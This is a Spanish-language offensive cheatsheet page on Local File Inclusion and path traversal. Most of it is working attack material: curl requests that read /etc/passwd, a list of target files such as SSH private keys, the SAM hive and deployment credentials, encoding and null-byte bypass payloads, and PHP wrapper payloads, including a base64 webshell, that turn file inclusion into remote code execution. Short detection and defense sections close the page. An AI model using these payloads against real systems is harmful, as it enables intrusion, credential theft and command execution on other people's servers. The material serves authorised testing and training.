the_open_door
café
ESEN
← Volver al índice

Local File Inclusion (LFI) & Path Traversal

ATT&CKT1190
Arsenal completo de comandos en la cheatsheet

El Path Traversal (o directory traversal) es una vulnerabilidad en la que una aplicación construye una ruta de fichero a partir de datos del usuario sin sanearla. Si el atacante introduce secuencias ../ (subir un directorio), puede salir del directorio previsto y leer ficheros de cualquier parte del sistema. Cuando lo que se consigue es incluir un fichero local en la respuesta (típico de PHP con include/require), se habla de LFI (Local File Inclusion), y ahí la lectura puede escalar a ejecución de código. No hay un único payload: cada aplicación filtra, prefija o añade extensiones de forma distinta, así que LFI es sobre todo un juego de probar variantes hasta que una atraviesa el saneamiento.

Lectura de ficheros

Una petición legítima pide un recurso dentro de la carpeta web, pero anteponiendo suficientes ../ se navega hacia la raíz del disco y desde ahí a una ruta absoluta conocida. Se repite el patrón de sobra (cada ../ de más se queda en la raíz sin dar error) y se usa --path-as-is para que curl no colapse los ../ antes de enviarlos:

curl 'http://<ip>/index.php?page=../../../../../../etc/passwd' --path-as-is
curl 'http://<ip>/index.php?page=/etc/passwd' --path-as-is            # ruta absoluta, sin traversal
curl 'http://<ip>/index.php?page=....//....//....//etc/passwd' --path-as-is

Si la app prefija un directorio (p. ej. incluye pages/<param>), el traversal debe partir de ese prefijo: pages/../../../../etc/passwd. Si añade una extensión (<param>.php), hay que cortarla (ver null byte, truncado y wrappers más abajo).

Ficheros objetivo: Linux y Windows

La mitad del trabajo es saber qué pedir. No es lo mismo Linux que Windows, y conviene ir a por ficheros que casi siempre tienen permiso de lectura para el usuario del servicio web (www-data, apache, IIS AppPool) antes que a por /etc/shadow (solo root).

Linux, casi siempre legibles y útiles:

/etc/passwd                     # usuarios y rutas home (base para SSH keys)
/etc/hosts  /etc/os-release     # red interna y version del SO
/proc/self/environ              # variables de entorno del proceso web (a veces con secretos)
/proc/self/cmdline              # linea de arranque del proceso
/proc/self/fd/0  /proc/self/fd/8  # descriptores abiertos (a veces logs)
/proc/net/tcp  /proc/net/fib_trie # puertos y direcciones internas
/home/<user>/.ssh/id_rsa        # clave privada -> acceso directo por SSH
/home/<user>/.bash_history      # comandos y a veces credenciales
/var/www/html/config.php        # config de la app (probar wp-config.php, .env, database.yml)
/etc/apache2/sites-enabled/000-default.conf  # rutas, vhosts, docroot real
/etc/shadow                     # solo si el servicio corre como root

Windows, objetivos habituales:

C:\Windows\System32\drivers\etc\hosts        # equivalente a /etc/hosts
C:\Windows\win.ini                            # existe siempre, buen test de LFI
C:\inetpub\wwwroot\web.config                 # cadenas de conexion, secretos de IIS
C:\Windows\System32\inetsrv\config\applicationHost.config  # config global de IIS
C:\Windows\Panther\Unattend.xml               # (y Unattended.xml/sysprep.xml) credenciales de despliegue
C:\xampp\apache\conf\httpd.conf   C:\xampp\php\php.ini       # stack XAMPP
C:\Users\<user>\.ssh\id_rsa                   # clave SSH del usuario
C:\Windows\System32\config\RegBack\SAM        # copia del SAM (a veces legible)

En Windows muchos servidores aceptan tanto / como \; si uno falla, probar el otro separador.

Saltarse los filtros: arsenal de bypass

Cuando hay saneamiento, se prueban variantes hasta encontrar la que pasa. De más simple a más agresiva:

# 1) Filtro que elimina "../" UNA sola vez (no recursivo): al quitarlo, queda "../"
....//....//....//etc/passwd
..././..././..././etc/passwd
....\/....\/etc/passwd

# 2) Codificacion URL (una vez) del "../"
%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/etc/passwd

# 3) Doble codificacion (si el WAF decodifica una vez y la app otra)
%252e%252e%252f%252e%252e%252fetc%252fpasswd

# 4) UTF-8 invalido / overlong (clasico en IIS y algunos filtros)
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
..%c1%9c..%c1%9cwindows\win.ini             # %c1%9c = "\" para Windows

# 5) Null byte: corta la extension que anade la app (PHP < 5.3.4)
../../../../etc/passwd%00
../../../../etc/passwd%00.php

# 6) Truncado por longitud: rellenar hasta pasar el limite y descartar ".php" (PHP viejo)
../../../etc/passwd/./././././././[...x2000]
../../../etc/passwd..............[...]

# 7) Prefijo obligado: si la app exige que empiece por un directorio conocido
uploads/../../../../etc/passwd

Si la app valida que el nombre acabe en .php (o similar), a menudo el php://filter (siguiente sección) se lo salta porque no necesita extensión. Un file:///etc/passwd o, en Windows, una ruta UNC \\<lhost>\share\file son alternativas cuando ../ está bloqueado del todo.

PHP wrappers: leer el código y ejecutar

Cuando la inclusión pasa por PHP, los wrappers amplían el ataque. php://filter devuelve el código fuente en base64 (útil para encontrar credenciales o más fallos), y data:///php://input permiten RCE directa si allow_url_include está activo:

# leer el fuente de un .php (no se ejecuta, se codifica)
curl 'http://<ip>/index.php?page=php://filter/convert.base64-encode/resource=config'
# RCE con data:// (requiere allow_url_include=On)
curl 'http://<ip>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=id'
# RCE con php://input (POST del codigo PHP en el cuerpo)
curl 'http://<ip>/index.php?page=php://input' --data '<?php system("id"); ?>'

Aun sin allow_url_include, una cadena de filtros iconv genera un payload que produce código PHP arbitrario usando solo php://filter, convirtiendo cualquier LFI de PHP en RCE:

python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# devuelve un php://filter/... larguisimo que se pega en el parametro vulnerable

Otros wrappers de lectura/ejecución tienen su propia página: php://filter, zip://, phar:// y expect:// (RCE si está cargado).

LFI a RCE por envenenamiento

Si no hay wrappers, se incluye un fichero del propio servidor donde hayamos inyectado PHP:

Automatización

ffuf -u 'http://<ip>/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
# lista de rutas Windows/Linux clasica
ffuf -u 'http://<ip>/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -fs 0

Cómo detectarlo. La firma está en el propio parámetro: secuencias ../ (o codificadas: %2e%2e%2f, ..%2f, %252e, %c0%ae), rutas absolutas conocidas (/etc/passwd, \windows\win.ini, web.config) y esquemas php:///data:///expect:// en la query string o el cuerpo, visibles en el log de acceso y marcados por cualquier WAF. Un mismo cliente probando decenas de variantes de profundidad (../ repetido n veces) o de codificación delata el barrido de payloads. Del lado del host, un LFI-a-RCE aparece como el proceso web (www-data) leyendo /var/log/..., /proc/self/environ o ficheros de sesión, o lanzando sh/id como hijo del servidor. La clave: peticiones que salen del árbol web previsto.

Defensa. No construir rutas ni includes con entrada del usuario; si es inevitable, canonicalizar (realpath) y comprobar que el resultado sigue dentro del directorio permitido (no filtros que solo quitan ../ una vez), usar una lista blanca de páginas, desactivar allow_url_include/allow_url_fopen y ejecutar el servicio con permisos mínimos. Encadena con envenenamiento de logs, wrapper zip/phar y la reutilización de credenciales de los secretos leídos.

Herramientascurl

Máquinas donde se aplica